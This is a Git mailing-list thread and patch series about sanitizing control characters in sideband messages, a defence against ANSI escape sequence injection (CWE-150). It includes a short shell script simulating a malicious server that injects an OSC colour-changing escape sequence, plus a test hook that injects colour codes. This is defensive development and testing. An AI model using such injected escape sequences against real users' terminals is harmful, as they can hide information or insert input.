> https://github.com/csdvrx/sixel-testsuite/blob/master/snake.six -- after!
> verifying that it is just a regular text file containing only a few
> harmless escape sequences~ -- and then `cat` it to your terminal). That
> could have been goatse, too, though. Or for that matter (as
> https://github.com/mpv-player/mpv demonstrates, which allows you to render
> entire Youtube videos in your current terminal window) you could be
> Rick-rolled. And all of those are still pranks more than anything. Much
> worse can be done with those terminal emulator capabilities.

As I mentioned, sending Sixel images can be legitimately useful to send
things like QR codes to build outputs or for things like authentication.
Certainly there are less savoury things one can do as well.

> For the record, I was almost successfully gas-lit into believing that this
> here issue is not even a vulnerability, as was claimed by some (but not
> all) involved in the discussion on the Git security list. Fortunately I am
> in a wonderful position that I have access to outstanding security
> researchers, and I asked two of them, independently, to tell me whether or
> not this is a vulnerability that needs to be fixed. Independently, both
> agreed that my assessment "High" was too high, and it should have been
> "Moderate" instead. At the same time, they also both agreed that it is a
> vulnerability that should be fixed in Git.

I don't think "gas-lit" is an accurate characterization of the
discussion.  I disagreed with you that this was a Git-specific problem
and some others wanted more discussion about the matter.  I don't think
anyone else had intentions of misleading or deceiving you, or making you
doubt your memory or perceptions of reality, and I certainly did not.
Instead, we simply disagreed on a technical matter.  Linus and I have
clearly disagreed strongly on some matters on this list in the past and
I don't think that "gaslighting" would be an accurate characterization
there, either.

I will state that while I do disagree with you on this matter and it's
clear that we don't always see eye to eye or necessarily get along
famously, I do appreciate the work that you do for this project and Git
for Windows and I do respect you and your contributions.

[0] I remember this from Git LFS: https://github.com/git-lfs/git-lfs/issues/1843
-- 
brian m. carlson (they/them)
Toronto, Ontario, CA

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 262 bytes --]

Re: [PATCH 0/3] Sanitize sideband channel messages

[Johannes Schindelin]

[-- Attachment #1: Type: text/plain, Size: 13136 bytes --]

Hi brian,

On Wed, 3 Dec 2025, brian m. carlson wrote:

> On 2025-12-02 at 14:11:54, Johannes Schindelin wrote:
> > So you haven't come across `OSC P 1 0 ; ? ST` (see e.g.
> > https://www.xfree86.org/current/ctlseqs.html#:~:text=OSC%20P%20s%20;%20P%20t%20ST
> > for this control sequence, as well as others that elicit responses from
> > terminal emulators, from current cursor position to terminal
> > capabilities)? I use this Escape sequence myself in my `tmux` sessions to
> > toggle the colors between bright-on-dark and dark-on-bright.
> 
> So let's talk about this class of escape sequences with your patches for
> a moment.  I compiled the patches in this series on my system and
> changed the default PATH to use that client-side git binary (the
> server-side is unchanged).  I have not changed any configuration related
> to your patches, so the behaviour is the patch default.

Thank you for testing this patch series; I'm really happy that we can
cross this long-standing item off the list. It opens the door for us to
work together, and I am eager to keep the momentum going.

> I have a server called castro (after the San Francisco neighbourhood)
> and I added the following script called `~/bin/fake-git-upload-pack`,
> which should let us simulate a malicious server:
> 
> ----
> #!/bin/sh
> 
> printf '\033]10;rgb:ffff/ffff/ffff\007Hello, world!\n' >&2
> 
> exec git-upload-pack "$@"
> ----
> 
> This basically uses this class of escape sequences to change the
> foreground colour to bright white.
> 
> I then ran a clone command, like so:
> 
> ----
> % git clone -u fake-git-upload-pack castro:~/git/css.git
> Cloning into 'css'...
> Hello, world!
> remote: Enumerating objects: 663, done.
> remote: Counting objects: 100% (4/4), done.
> remote: Compressing objects: 100% (3/3), done.
> remote: Total 663 (delta 0), reused 0 (delta 0), pack-reused 659 (from 1)
> Receiving objects: 100% (663/663), 114.83 KiB | 38.28 MiB/s, done.
> Resolving deltas: 100% (329/329), done.
> ----
> 
> Despite my patched Git binary, the escape sequence was executed and my
> foreground colour was changed.  So I don't think these patches are
> sufficient to actually fix the issue and I somewhat doubt that it's even
> possible at all to defend against a malicious SSH server which would
> like to send arbitrary escape sequences in general.
> 
> I don't think we can just close stderr or not wire it up to the TTY
> because OpenSSH needs the TTY to prompt and doing so also breaks things
> on Windows.[0]  There are also cases where the remote side sends
> messages over the Banner portion of the protocol that are required for
> auth ($DAYJOB sends a unique URL for 2FA, for instance) and redirecting
> stderr to `/dev/null` would mean that people couldn't log into those
> machines.

Just to clarify: the patches here are specifically about the sideband
behavior in HTTPS, where the attack scenario that I am trying to defend
against involves a malicious server posing as a trusted one, e.g. via a
domain that looks highly similar to "github.com". In that context, SSH
isn’t really applicable, victims would be immediately suspicious if asked
for SSH credentials.

So while your SSH tests are interesting, they’re outside the scope of this
patch series. If you’d like to explore equivalent fixes on the SSH side,
that would be a great complementary effort, but the focus here is ensuring
sideband over HTTPS is handled securely.

> If it's the case that we effectively can't fix this for SSH, I don't see
> the advantage to trying to patch this for HTTPS, since it would give a
> false sense of security and many people use both in their daily work (I
> certainly do).

Thanks for sharing your opinion.

I would frame it a bit differently, though: security is rarely
all‑or‑nothing, it’s a game of layers.

Even if SSH-based Git operations have weaknesses that seem to be unlikely
to be fully fixable right now, that doesn’t mean we should leave
HTTPS-based operations exposed when we can strengthen them. Each
improvement reduces the attack surface, and together they add up to
meaningful protection. So rather than a false sense of security, I see
this patch series as one necessary step in a layered approach. If
complementary work on SSH becomes possible, that would be great, but in
the meantime it seems rational to secure what we can.

> > It is true that many terminal emulators started disabling support for such
> > Escape sequences. But that's not because the terminal emulators' features
> > were buggy. That's because some console programs are buggy, allowing
> > payload originating from outside the user's trust boundary to be passed
> > through to the terminal without proper sanitizing. That's what the entire
> > CWE-150 weakness class (https://cwe.mitre.org/data/definitions/150.html)
> > is all about.
> 
> It is in general very difficult to eliminate all sources of untrusted
> input in the terminal because people run `cat` and a variety of other
> tools on untrusted files all the time.  It would certainly be convenient
> if we did not need to deal with that case, but we do nonetheless.
> That's why we've tended to patch terminal emulators when escape
> sequences execute code.

You’re right that users sometimes do things that are hard or impossible to
protect against. There is nothing we can do in Git's source code to
prevent a user from `cat`ing a malicous file, for example.

But what we _can_ do is to ensure that Git, at least, is as secure by
default as we can make it. In this context: to sanitize control sequences
originating from outside Git's (or the Git user's) control. That’s exactly
why CWE‑150 exists: the responsibility lies with programs to sanitize what
they pass through, rather than expecting terminal emulators to defend
against every possible misuse.

Patching terminal emulators is a last‑resort mitigation, and given the
number of terminal emulators, it's once again far from an "all-or-nothing"
situation. In line with your earlier argument, one terminal emulator's
maintainer could claim that _another_ terminal emulator is still
unpatched, so why should _they_ be required to patch theirs? You see where
that leads, to finger pointing instead of security, and we all lose. I'd
rather see all terminal emulator projects doing what is in their power to
add layers of security, just as I am trying to do what is in my power
regarding Git's security in this here mail thread.

Concretely, even if we cannot eliminate all sources of untrusted input in
the terminal, in general, we should at least do our best to prevent Git
from passing through untrusted input to the terminal.

> > That check, whether the output is even sent to a terminal emulator or not,
> > is notably something that cannot ever be done by those `pre-receive` hooks
> > that were held up as examples to block this here patch series: They have
> > no way of knowing whether or not their output goes to a terminal, but they
> > send the control sequences anyway. Because YOLO, I guess. In that
> > respect, I think that even you two would agree that those `pre-receive`
> > hooks are broken by design.
> 
> I don't agree.  Lots of systems that are not terminals interpret
> at least some terminal escape sequences, such as GitHub Actions.  And I
> can tell you that there are a substantial number of organizations that do
> indeed have actual pre-receive hooks in production that use terminal
> escape sequences without actually knowing that the other side supports
> them because I have had to troubleshoot those pre-receive hooks.

Oh, I can imagine how cumbersome troubleshooting such `pre-receive` hooks
can be. I can imagine how insistent the inventors of such hooks are on
doing a legitimate thing. And because they are paying customers... they
are right.

And far be I from noticing that many systems that are not terminals
interpret some Escape sequences. In the extensive research I conducted in
October and November last year in the course of developing this here patch
series, I even stumbled across successful exploits targeting users of
web-based log viewers that interpret such Escape sequences, a scenario in
which I myself would have easily fallen prey to such an attack, as I would
have been totally unprepared to even suspect that the log viewer shows me
anything but plain text.

Having said all that, it is incorrect in general to assume that all
consumers of the output of Git commands _can_ interpret Escape sequences,
even if there should be a surprising number of consumers that do.

> Even if we were to agree that it might not be desirable to send terminal
> escape sequences without knowing if there's a terminal, people do it,
> and even Vim does it (try `TERM=dumb vim -e`, whereupon it will send
> escape sequences, much to my annoyance).  I don't think we can say that
> everybody thinks this kind of thing is unreasonable and clearly some
> people very much want to do it and make reasonably good use of it, so
> it's a use case we should consider.

I am puzzled. Do you really want to maintain that it is rational to send
Escape sequences without checking whether the receiver can interpret them
as desired? By this rationale, we could simplify the logic in `color.c`
rather dramatically, and always send Escape sequences. If you think this
through, I am sure you will want to stop this train of thought.

> > Also, it is relatively easy if you fail to protect your terminal emulator
> > to have your entire session messed up to a point where not even a `reset`
> > restores it. And corrupting the terminal session is still much better than
> > getting pranked by having all of Git's output be overwritten with a
> > picture of a snake (download the raw version of
> > https://github.com/csdvrx/sixel-testsuite/blob/master/snake.six -- after!
> > verifying that it is just a regular text file containing only a few
> > harmless escape sequences~ -- and then `cat` it to your terminal). That
> > could have been goatse, too, though. Or for that matter (as
> > https://github.com/mpv-player/mpv demonstrates, which allows you to render
> > entire Youtube videos in your current terminal window) you could be
> > Rick-rolled. And all of those are still pranks more than anything. Much
> > worse can be done with those terminal emulator capabilities.
> 
> As I mentioned, sending Sixel images can be legitimately useful to send
> things like QR codes to build outputs or for things like authentication.
> Certainly there are less savoury things one can do as well.

Right. But the presence of legitimate use-cases does not legitimize
holding up bug fixes. For a humorous take on this, see https://xkcd.com/1172/.

By definition, every security bug fix is a breaking change. Just like the
user of the space bar heater in that xkcd comic, the `pre-receive` hooks
you cited rely on a bug that needs to be fixed.

And a bug in Git it is, it's a weakness, matching CWE-150, giving rise to
vulnerabilities I have illustrated on the git-security mailing list (which
I will make public once I am reasonably certain that most Git users have
had a chance to upgrade to versions that no longer have those
vulnerabilities).

Ciao,
Johannes

> > For the record, I was almost successfully gas-lit into believing that this
> > here issue is not even a vulnerability, as was claimed by some (but not
> > all) involved in the discussion on the Git security list. Fortunately I am
> > in a wonderful position that I have access to outstanding security
> > researchers, and I asked two of them, independently, to tell me whether or
> > not this is a vulnerability that needs to be fixed. Independently, both
> > agreed that my assessment "High" was too high, and it should have been
> > "Moderate" instead. At the same time, they also both agreed that it is a
> > vulnerability that should be fixed in Git.
> 
> I don't think "gas-lit" is an accurate characterization of the
> discussion.  I disagreed with you that this was a Git-specific problem
> and some others wanted more discussion about the matter.  I don't think
> anyone else had intentions of misleading or deceiving you, or making you
> doubt your memory or perceptions of reality, and I certainly did not.
> Instead, we simply disagreed on a technical matter.  Linus and I have
> clearly disagreed strongly on some matters on this list in the past and
> I don't think that "gaslighting" would be an accurate characterization
> there, either.
> 
> I will state that while I do disagree with you on this matter and it's
> clear that we don't always see eye to eye or necessarily get along
> famously, I do appreciate the work that you do for this project and Git
> for Windows and I do respect you and your contributions.
> 
> [0] I remember this from Git LFS: https://github.com/git-lfs/git-lfs/issues/1843
> -- 
> brian m. carlson (they/them)
> Toronto, Ontario, CA
> 

[PATCH v2 0/4] Sanitize sideband channel messages

[Johannes Schindelin via GitGitGadget]

Git's sideband channel passes server output directly to the client terminal
without sanitization. This includes progress messages, error output, and
diagnostics from remote hooks during clone, fetch, and push operations.

This creates an ANSI escape sequence injection vulnerability (CWE-150
[https://cwe.mitre.org/data/definitions/150.html]). A malicious or
compromised server can corrupt terminal state, obscure information, or
inject characters into the terminal's input buffer. The client has no
mechanism to distinguish between legitimate output and attack sequences.

This series fixes the vulnerability by sanitizing control characters in the
sideband output. ANSI color sequences (SGR codes) pass through by default,
since server-side hooks exist that use these for visibility (e.g.
https://github.com/kikeonline/githook-explode). By default, all other
control characters are rendered in caret notation (e.g., ESC becomes ^[).

Users who need different behavior get configuration options:
sideband.allowControlCharacters provides an escape hatch for environments
that require raw passthrough. The defaults are secure.

Note: This series applies cleanly on v2.47.3.

Changes since v1:

 * Applied the suggestions by Phillip and brian.
 * Rebased onto v2.47.3.
 * Added more categories of ANSI Escape sequences that can be enabled (but
   that are off by default because they could be used to hide information).

Johannes Schindelin (4):
  sideband: mask control characters
  sideband: introduce an "escape hatch" to allow control characters
  sideband: do allow ANSI color sequences by default
  sideband: add options to allow more control sequences to be passed
    through

 Documentation/config.txt            |   2 +
 Documentation/config/sideband.txt   |  24 +++++
 sideband.c                          | 148 +++++++++++++++++++++++++++-
 t/t5409-colorize-remote-messages.sh |  68 +++++++++++++
 4 files changed, 240 insertions(+), 2 deletions(-)
 create mode 100644 Documentation/config/sideband.txt


base-commit: a52a24e03c8c711f1d5e252fba78f9276908129b
Published-As: https://github.com/gitgitgadget/git/releases/tag/pr-1853%2Fdscho%2Fsanitize-sideband-v2
Fetch-It-Via: git fetch https://github.com/gitgitgadget/git pr-1853/dscho/sanitize-sideband-v2
Pull-Request: https://github.com/gitgitgadget/git/pull/1853

Range-diff vs v1:

 1:  f7fb7a3833 ! 1:  8d70476559 sideband: mask control characters
     @@ Commit message
          There is likely a need for more fine-grained controls instead of using a
          "heavy hammer" like this, which will be introduced subsequently.
      
     +    Helped-by: Phillip Wood <phillip.wood@dunelm.org.uk>
          Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
      
       ## sideband.c ##
     @@ sideband.c: void list_config_color_sideband_slots(struct string_list *list, cons
      +			strbuf_addch(dest, *src);
      +		else {
      +			strbuf_addch(dest, '^');
     -+			strbuf_addch(dest, 0x40 + *src);
     ++			strbuf_addch(dest, *src == 0x7f ? '?' : 0x40 + *src);
      +		}
      +	}
      +}
     @@ t/t5409-colorize-remote-messages.sh: test_expect_success 'fallback to color.ui'
      +	printf "error: Have you \\033[31mread\\033[m this?\\n" >&2
      +	exec "$@"
      +	EOF
     -+	test_config_global uploadPack.packObjectshook ./color-me-surprised &&
     ++	test_config_global uploadPack.packObjectsHook ./color-me-surprised &&
      +	test_commit need-at-least-one-commit &&
      +	git clone --no-local . throw-away 2>stderr &&
      +	test_decode_color <stderr >decoded &&
 2:  14c612c69a ! 2:  2615abd8c5 sideband: introduce an "escape hatch" to allow control characters
     @@ Commit message
          To help with those use cases, give users a way to opt-out of the
          protections: `sideband.allowControlCharacters`.
      
     +    Suggested-by: brian m. carlson <sandals@crustytoothpaste.net>
          Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
      
       ## Documentation/config.txt ##
     @@ sideband.c: void list_config_color_sideband_slots(struct string_list *list, cons
       ## t/t5409-colorize-remote-messages.sh ##
      @@ t/t5409-colorize-remote-messages.sh: test_expect_success 'disallow (color) control sequences in sideband' '
       	EOF
     - 	test_config_global uploadPack.packObjectshook ./color-me-surprised &&
     + 	test_config_global uploadPack.packObjectsHook ./color-me-surprised &&
       	test_commit need-at-least-one-commit &&
      +
       	git clone --no-local . throw-away 2>stderr &&
 3:  a26c4ed6ce ! 3:  44585ba1f4 sideband: do allow ANSI color sequences by default
     @@ Commit message
          to the terminal, and `sideband.allowControlCharacters` to override that
          behavior.
      
     -    However, some `pre-receive` hooks that are actively used in practice
     -    want to color their messages and therefore rely on the fact that Git
     -    passes them through to the terminal.
     +    However, as reported by brian m. carlson, some `pre-receive` hooks that
     +    are actively used in practice want to color their messages and therefore
     +    rely on the fact that Git passes them through to the terminal, even
     +    though they have no way to determine whether the receiving side can
     +    actually handle Escape sequences (think e.g. about the practice
     +    recommended by Git that third-party applications wishing to use Git
     +    functionality parse the output of Git commands).
      
          In contrast to other ANSI escape sequences, it is highly unlikely that
          coloring sequences can be essential tools in attack vectors that mislead
          Git users e.g. by hiding crucial information.
      
          Therefore we can have both: Continue to allow ANSI coloring sequences to
     -    be passed to the terminal, and neutralize all other ANSI escape
     -    sequences.
     +    be passed to the terminal by default, and neutralize all other ANSI
     +    Escape sequences.
      
          Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
      
     @@ Documentation/config/sideband.txt
      +	this config setting to override this behavior:
      ++
      +--
     ++	default::
      +	color::
      +		Allow ANSI color sequences, line feeds and horizontal tabs,
      +		but mask all other control characters. This is the default.
     @@ sideband.c: static struct keyword_entry keywords[] = {
      -static int allow_control_characters;
      +static enum {
      +	ALLOW_NO_CONTROL_CHARACTERS = 0,
     -+	ALLOW_ALL_CONTROL_CHARACTERS = 1,
     -+	ALLOW_ANSI_COLOR_SEQUENCES = 2
     ++	ALLOW_ANSI_COLOR_SEQUENCES = 1<<0,
     ++	ALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,
     ++	ALLOW_ALL_CONTROL_CHARACTERS = 1<<1,
      +} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;
       
       /* Returns a color setting (GIT_COLOR_NEVER, etc). */
     @@ sideband.c: static int use_sideband_colors(void)
      +		if (git_config_get_string_tmp("sideband.allowcontrolcharacters",
      +					      &value))
      +			; /* huh? `get_maybe_bool()` returned -1 */
     ++		else if (!strcmp(value, "default"))
     ++			allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;
      +		else if (!strcmp(value, "color"))
      +			allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;
      +		else
     @@ sideband.c: void list_config_color_sideband_slots(struct string_list *list, cons
      +	 * Valid ANSI color sequences are of the form
      +	 *
      +	 * ESC [ [<n> [; <n>]*] m
     ++	 *
     ++	 * These are part of the Select Graphic Rendition sequences which
     ++	 * contain more than just color sequences, for more details see
     ++	 * https://en.wikipedia.org/wiki/ANSI_escape_code#SGR.
      +	 */
      +
      +	if (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||
     @@ sideband.c: static void strbuf_add_sanitized(struct strbuf *dest, const char *sr
      +			n -= i;
      +		} else {
       			strbuf_addch(dest, '^');
     - 			strbuf_addch(dest, 0x40 + *src);
     + 			strbuf_addch(dest, *src == 0x7f ? '?' : 0x40 + *src);
       		}
      
       ## t/t5409-colorize-remote-messages.sh ##
     @@ t/t5409-colorize-remote-messages.sh: test_expect_success 'fallback to color.ui'
      +	printf "error: Have you \\033[31mread\\033[m this?\\a\\n" >&2
       	exec "$@"
       	EOF
     - 	test_config_global uploadPack.packObjectshook ./color-me-surprised &&
     + 	test_config_global uploadPack.packObjectsHook ./color-me-surprised &&
      @@ t/t5409-colorize-remote-messages.sh: test_expect_success 'disallow (color) control sequences in sideband' '
       
       	git clone --no-local . throw-away 2>stderr &&
 -:  ---------- > 4:  fe109cd331 sideband: add options to allow more control sequences to be passed through

-- 
gitgitgadget

[PATCH v2 1/4] sideband: mask control characters

[Johannes Schindelin via GitGitGadget]

From: Johannes Schindelin <johannes.schindelin@gmx.de>

The output of `git clone` is a vital component for understanding what
has happened when things go wrong. However, these logs are partially
under the control of the remote server (via the "sideband", which
typically contains what the remote `git pack-objects` process sends to
`stderr`), and is currently not sanitized by Git.

This makes Git susceptible to ANSI escape sequence injection (see
CWE-150, https://cwe.mitre.org/data/definitions/150.html), which allows
attackers to corrupt terminal state, to hide information, and even to
insert characters into the input buffer (i.e. as if the user had typed
those characters).

To plug this vulnerability, disallow any control character in the
sideband, replacing them instead with the common `^<letter/symbol>`
(e.g. `^[` for `\x1b`, `^A` for `\x01`).

There is likely a need for more fine-grained controls instead of using a
"heavy hammer" like this, which will be introduced subsequently.

Helped-by: Phillip Wood <phillip.wood@dunelm.org.uk>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
---
 sideband.c                          | 17 +++++++++++++++--
 t/t5409-colorize-remote-messages.sh | 12 ++++++++++++
 2 files changed, 27 insertions(+), 2 deletions(-)

diff --git a/sideband.c b/sideband.c
index 02805573fa..fc1805dcf8 100644
--- a/sideband.c
+++ b/sideband.c
@@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
 		list_config_item(list, prefix, keywords[i].keyword);
 }
 
+static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
+{
+	strbuf_grow(dest, n);
+	for (; n && *src; src++, n--) {
+		if (!iscntrl(*src) || *src == '\t' || *src == '\n')
+			strbuf_addch(dest, *src);
+		else {
+			strbuf_addch(dest, '^');
+			strbuf_addch(dest, *src == 0x7f ? '?' : 0x40 + *src);
+		}
+	}
+}
+
 /*
  * Optionally highlight one keyword in remote output if it appears at the start
  * of the line. This should be called for a single line only, which is
@@ -80,7 +93,7 @@ static void maybe_colorize_sideband(struct strbuf *dest, const char *src, int n)
 	int i;
 
 	if (!want_color_stderr(use_sideband_colors())) {
-		strbuf_add(dest, src, n);
+		strbuf_add_sanitized(dest, src, n);
 		return;
 	}
 
@@ -113,7 +126,7 @@ static void maybe_colorize_sideband(struct strbuf *dest, const char *src, int n)
 		}
 	}
 
-	strbuf_add(dest, src, n);
+	strbuf_add_sanitized(dest, src, n);
 }
 
 
diff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh
index 516b22fd96..f4712f4161 100755
--- a/t/t5409-colorize-remote-messages.sh
+++ b/t/t5409-colorize-remote-messages.sh
@@ -99,4 +99,16 @@ test_expect_success 'fallback to color.ui' '
 	grep "<BOLD;RED>error<RESET>: error" decoded
 '
 
+test_expect_success 'disallow (color) control sequences in sideband' '
+	write_script .git/color-me-surprised <<-\EOF &&
+	printf "error: Have you \\033[31mread\\033[m this?\\n" >&2
+	exec "$@"
+	EOF
+	test_config_global uploadPack.packObjectsHook ./color-me-surprised &&
+	test_commit need-at-least-one-commit &&
+	git clone --no-local . throw-away 2>stderr &&
+	test_decode_color <stderr >decoded &&
+	test_grep ! RED decoded
+'
+
 test_done
-- 
gitgitgadget

[PATCH v2 2/4] sideband: introduce an "escape hatch" to allow control characters

[Johannes Schindelin via GitGitGadget]

From: Johannes Schindelin <johannes.schindelin@gmx.de>

The preceding commit fixed the vulnerability whereas sideband messages
(that are under the control of the remote server) could contain ANSI
escape sequences that would be sent to the terminal verbatim.

However, this fix may not be desirable under all circumstances, e.g.
when remote servers deliberately add coloring to their messages to
increase their urgency.

To help with those use cases, give users a way to opt-out of the
protections: `sideband.allowControlCharacters`.

Suggested-by: brian m. carlson <sandals@crustytoothpaste.net>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
---
 Documentation/config.txt            |  2 ++
 Documentation/config/sideband.txt   |  5 +++++
 sideband.c                          | 10 ++++++++++
 t/t5409-colorize-remote-messages.sh |  8 +++++++-
 4 files changed, 24 insertions(+), 1 deletion(-)
 create mode 100644 Documentation/config/sideband.txt

diff --git a/Documentation/config.txt b/Documentation/config.txt
index 8c0b3ed807..48870bb588 100644
--- a/Documentation/config.txt
+++ b/Documentation/config.txt
@@ -522,6 +522,8 @@ include::config/sequencer.txt[]
 
 include::config/showbranch.txt[]
 
+include::config/sideband.txt[]
+
 include::config/sparse.txt[]
 
 include::config/splitindex.txt[]
diff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt
new file mode 100644
index 0000000000..3fb5045cd7
--- /dev/null
+++ b/Documentation/config/sideband.txt
@@ -0,0 +1,5 @@
+sideband.allowControlCharacters::
+	By default, control characters that are delivered via the sideband
+	are masked, to prevent potentially unwanted ANSI escape sequences
+	from being sent to the terminal. Use this config setting to override
+	this behavior.
diff --git a/sideband.c b/sideband.c
index fc1805dcf8..997430f2ea 100644
--- a/sideband.c
+++ b/sideband.c
@@ -25,6 +25,8 @@ static struct keyword_entry keywords[] = {
 	{ "error",	GIT_COLOR_BOLD_RED },
 };
 
+static int allow_control_characters;
+
 /* Returns a color setting (GIT_COLOR_NEVER, etc). */
 static int use_sideband_colors(void)
 {
@@ -38,6 +40,9 @@ static int use_sideband_colors(void)
 	if (use_sideband_colors_cached >= 0)
 		return use_sideband_colors_cached;
 
+	git_config_get_bool("sideband.allowcontrolcharacters",
+			    &allow_control_characters);
+
 	if (!git_config_get_string_tmp(key, &value))
 		use_sideband_colors_cached = git_config_colorbool(key, value);
 	else if (!git_config_get_string_tmp("color.ui", &value))
@@ -67,6 +72,11 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
 
 static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
 {
+	if (allow_control_characters) {
+		strbuf_add(dest, src, n);
+		return;
+	}
+
 	strbuf_grow(dest, n);
 	for (; n && *src; src++, n--) {
 		if (!iscntrl(*src) || *src == '\t' || *src == '\n')
diff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh
index f4712f4161..e8067df591 100755
--- a/t/t5409-colorize-remote-messages.sh
+++ b/t/t5409-colorize-remote-messages.sh
@@ -106,9 +106,15 @@ test_expect_success 'disallow (color) control sequences in sideband' '
 	EOF
 	test_config_global uploadPack.packObjectsHook ./color-me-surprised &&
 	test_commit need-at-least-one-commit &&
+
 	git clone --no-local . throw-away 2>stderr &&
 	test_decode_color <stderr >decoded &&
-	test_grep ! RED decoded
+	test_grep ! RED decoded &&
+
+	rm -rf throw-away &&
+	git -c sideband.allowControlCharacters clone --no-local . throw-away 2>stderr &&
+	test_decode_color <stderr >decoded &&
+	test_grep RED decoded
 '
 
 test_done
-- 
gitgitgadget

[PATCH v2 3/4] sideband: do allow ANSI color sequences by default

[Johannes Schindelin via GitGitGadget]

From: Johannes Schindelin <johannes.schindelin@gmx.de>

The preceding two commits introduced special handling of the sideband
channel to neutralize ANSI escape sequences before sending the payload
to the terminal, and `sideband.allowControlCharacters` to override that
behavior.

However, as reported by brian m. carlson, some `pre-receive` hooks that
are actively used in practice want to color their messages and therefore
rely on the fact that Git passes them through to the terminal, even
though they have no way to determine whether the receiving side can
actually handle Escape sequences (think e.g. about the practice
recommended by Git that third-party applications wishing to use Git
functionality parse the output of Git commands).

In contrast to other ANSI escape sequences, it is highly unlikely that
coloring sequences can be essential tools in attack vectors that mislead
Git users e.g. by hiding crucial information.

Therefore we can have both: Continue to allow ANSI coloring sequences to
be passed to the terminal by default, and neutralize all other ANSI
Escape sequences.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
---
 Documentation/config/sideband.txt   | 18 ++++++--
 sideband.c                          | 68 ++++++++++++++++++++++++++---
 t/t5409-colorize-remote-messages.sh | 16 ++++++-
 3 files changed, 92 insertions(+), 10 deletions(-)

diff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt
index 3fb5045cd7..e5b7383c7a 100644
--- a/Documentation/config/sideband.txt
+++ b/Documentation/config/sideband.txt
@@ -1,5 +1,17 @@
 sideband.allowControlCharacters::
 	By default, control characters that are delivered via the sideband
-	are masked, to prevent potentially unwanted ANSI escape sequences
-	from being sent to the terminal. Use this config setting to override
-	this behavior.
+	are masked, except ANSI color sequences. This prevents potentially
+	unwanted ANSI escape sequences from being sent to the terminal. Use
+	this config setting to override this behavior:
++
+--
+	default::
+	color::
+		Allow ANSI color sequences, line feeds and horizontal tabs,
+		but mask all other control characters. This is the default.
+	false::
+		Mask all control characters other than line feeds and
+		horizontal tabs.
+	true::
+		Allow all control characters to be sent to the terminal.
+--
diff --git a/sideband.c b/sideband.c
index 997430f2ea..fb43008ab7 100644
--- a/sideband.c
+++ b/sideband.c
@@ -25,7 +25,12 @@ static struct keyword_entry keywords[] = {
 	{ "error",	GIT_COLOR_BOLD_RED },
 };
 
-static int allow_control_characters;
+static enum {
+	ALLOW_NO_CONTROL_CHARACTERS = 0,
+	ALLOW_ANSI_COLOR_SEQUENCES = 1<<0,
+	ALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,
+	ALLOW_ALL_CONTROL_CHARACTERS = 1<<1,
+} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;
 
 /* Returns a color setting (GIT_COLOR_NEVER, etc). */
 static int use_sideband_colors(void)
@@ -40,8 +45,26 @@ static int use_sideband_colors(void)
 	if (use_sideband_colors_cached >= 0)
 		return use_sideband_colors_cached;
 
-	git_config_get_bool("sideband.allowcontrolcharacters",
-			    &allow_control_characters);
+	switch (git_config_get_maybe_bool("sideband.allowcontrolcharacters", &i)) {
+	case 0: /* Boolean value */
+		allow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :
+			ALLOW_NO_CONTROL_CHARACTERS;
+		break;
+	case -1: /* non-Boolean value */
+		if (git_config_get_string_tmp("sideband.allowcontrolcharacters",
+					      &value))
+			; /* huh? `get_maybe_bool()` returned -1 */
+		else if (!strcmp(value, "default"))
+			allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;
+		else if (!strcmp(value, "color"))
+			allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;
+		else
+			warning(_("unrecognized value for `sideband."
+				  "allowControlCharacters`: '%s'"), value);
+		break;
+	default:
+		break; /* not configured */
+	}
 
 	if (!git_config_get_string_tmp(key, &value))
 		use_sideband_colors_cached = git_config_colorbool(key, value);
@@ -70,9 +93,41 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
 		list_config_item(list, prefix, keywords[i].keyword);
 }
 
+static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int n)
+{
+	int i;
+
+	/*
+	 * Valid ANSI color sequences are of the form
+	 *
+	 * ESC [ [<n> [; <n>]*] m
+	 *
+	 * These are part of the Select Graphic Rendition sequences which
+	 * contain more than just color sequences, for more details see
+	 * https://en.wikipedia.org/wiki/ANSI_escape_code#SGR.
+	 */
+
+	if (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||
+	    n < 3 || src[0] != '\x1b' || src[1] != '[')
+		return 0;
+
+	for (i = 2; i < n; i++) {
+		if (src[i] == 'm') {
+			strbuf_add(dest, src, i + 1);
+			return i;
+		}
+		if (!isdigit(src[i]) && src[i] != ';')
+			break;
+	}
+
+	return 0;
+}
+
 static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
 {
-	if (allow_control_characters) {
+	int i;
+
+	if (allow_control_characters == ALLOW_ALL_CONTROL_CHARACTERS) {
 		strbuf_add(dest, src, n);
 		return;
 	}
@@ -81,7 +136,10 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
 	for (; n && *src; src++, n--) {
 		if (!iscntrl(*src) || *src == '\t' || *src == '\n')
 			strbuf_addch(dest, *src);
-		else {
+		else if ((i = handle_ansi_color_sequence(dest, src, n))) {
